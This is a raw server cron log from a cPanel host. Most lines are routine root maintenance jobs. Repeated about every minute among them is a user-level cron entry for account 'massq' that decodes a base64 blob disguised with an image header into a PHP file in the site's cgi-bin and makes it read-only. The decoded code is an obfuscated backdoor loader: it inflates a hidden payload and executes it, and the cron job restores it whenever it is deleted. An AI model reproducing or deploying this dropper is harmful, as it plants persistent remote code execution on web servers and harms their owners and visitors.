Sep  2 21:43:01 server CROND[12640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:43:01 server CROND[12641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:44:01 server CROND[13013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:44:01 server CROND[13014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:44:01 server CROND[13015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:45:01 server CROND[13402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:45:01 server CROND[13403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:45:01 server CROND[13406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:45:01 server CROND[13405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:45:01 server CROND[13410]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:45:01 server CROND[13408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:45:01 server CROND[13409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:46:01 server CROND[14298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:46:01 server CROND[14299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:46:01 server CROND[14300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:47:01 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:47:01 server CROND[14822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:47:01 server CROND[14823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:48:01 server CROND[15198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:48:01 server CROND[15199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:48:01 server CROND[15200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:49:01 server CROND[15616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:49:01 server CROND[15617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:49:01 server CROND[15618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:50:01 server CROND[15993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:50:01 server CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:50:01 server CROND[16002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:50:01 server CROND[16003]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:50:01 server CROND[16004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:50:01 server CROND[16006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:50:01 server CROND[16007]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:50:01 server CROND[16008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:50:01 server CROND[16009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:51:01 server CROND[16826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:51:01 server CROND[16827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:51:01 server CROND[16828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:52:01 server CROND[17869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:52:01 server CROND[17870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:52:01 server CROND[17871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:53:01 server CROND[18244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:53:01 server CROND[18246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:53:01 server CROND[18245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:54:01 server CROND[18676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:54:01 server CROND[18677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:54:01 server CROND[18678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:55:01 server CROND[19056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:55:01 server CROND[19063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
